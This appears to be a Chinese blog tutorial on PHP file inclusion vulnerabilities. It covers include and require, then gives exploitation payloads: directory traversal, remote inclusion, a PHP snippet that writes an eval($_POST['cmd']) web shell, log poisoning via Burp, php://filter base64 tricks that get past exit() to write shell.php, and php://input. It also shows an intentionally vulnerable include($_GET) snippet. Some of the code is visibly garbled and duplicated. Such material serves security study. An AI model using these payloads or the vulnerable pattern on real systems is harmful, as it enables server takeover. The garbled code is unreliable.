什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含
几个文件包含函数及特点
include函数
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
include_once函数
功能与include()相同,但程序只调用一次
require函数
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once函数
功能与require()相同,但程序只调用一次
常见的文件包含漏洞代码
<?php $filename = $_GET['filename']; include($filename); ?>这样就可以去读取一个文件
payload: ?filename=xxx.xxx
一般是使用相对路径
相对当前文件的另一个文件的位置
…/即前往上一级
要回到根目录可以使用多个…/
本地文件包含
被包含的文件在服务器本地
利用方式
包含本地敏感文件, 上传文件
远程文件包含
利用方式
包含远程攻击者指定远程url文件
被包含的文件在远程服务端
要php.ini配置为允许远程包含
5.x版本之后默认为关闭状态
若要进行远程文件包含测试
在php.ini中修改allow_url_include=On
远程文件包含payload: ?page=xxx.xxx.xxx.xxx/phpinfo.php
xxx为你要远程包含的ip地址
远程包含写入一句话木马
<?php $payload = "<?php eval(\$_POST['cmd'])?>";myfile=fopen(′demo.php′,′w′)ordie("Can′tOpenTheFile");fwrite(myfile = fopen('demo.php','w') or die("Can't Open The File");
fwrite(myfile=fopen(′demo.php′,′w′)ordie("Can′tOpenTheFile");fwrite(myfile, $payload);
fclose();
?>
并且将其包含
即可创建
demo.php
XSS可以配合文件包含漏洞进行信息获取
即输入<?php phpinfo();?>进入文件时会将<>进行url编码
我们使用burp进行抓包
将url编码改回来
forward
即可在访问日志时查看到信息
文件利用方式php://filter协议
=php://filter/convert.base64-encode/resource=index.php
有时候即使我们成功包含一句话木马
但因为exit使得后面的信息无法当作php进行处理
这个时候我们可以将前面的信息做base64加密
在后面写入时再进行base64解密
txt=aPD9waHAgcGhwaW5mbygpOz8+
a是前面需要加的一个字符
加a的原因是phpexit为7个字符
而php解码为4个byte一组
php在进行解码时遇到不在其中的字符时会选择跳过该字符
后面的时php一句话木马base64加密后的结果
最后我们进行解密
filename=php://filter/write=convert.base64-decode/resource=shell.php
也可以用string_strip_tags去除死亡exit
exp:
txt=PD9waHAgcGhwaW5mbygpOz8+ && filename=php://filter/write=string_strip_tags|convert.base64-decode/resource=shell.php
这种方法可以不用到a
php://input
<?php fputs("fopen("shell.php","w")","<?php eval(\$_POST['cmd'])?>")?>这个操作要配置allow_url_include=On
其他的还有zip:// bzip2:// zlib://
zip://[压缩文件绝对路径]#压缩文件内的子文件名
bzip2://[压缩文件绝对路径]#压缩文件内的子文件名
zlip://[压缩文件绝对路径]#压缩文件内的子文件名
因为要使用到绝对路径
所以使用到的情况较少
理解PHP文件包含漏洞file_include
文件包含漏洞允许攻击者通过指定文件路径来读取或执行服务器上的敏感文件。本文详细介绍了PHP的include、require等文件包含函数,以及常见的文件包含漏洞利用方式,包括本地文件包含和远程文件包含。此外,还探讨了如何利用php://filter协议进行解密绕过,以及配合XSS获取信息的技巧。
7254

被折叠的 条评论
为什么被折叠?



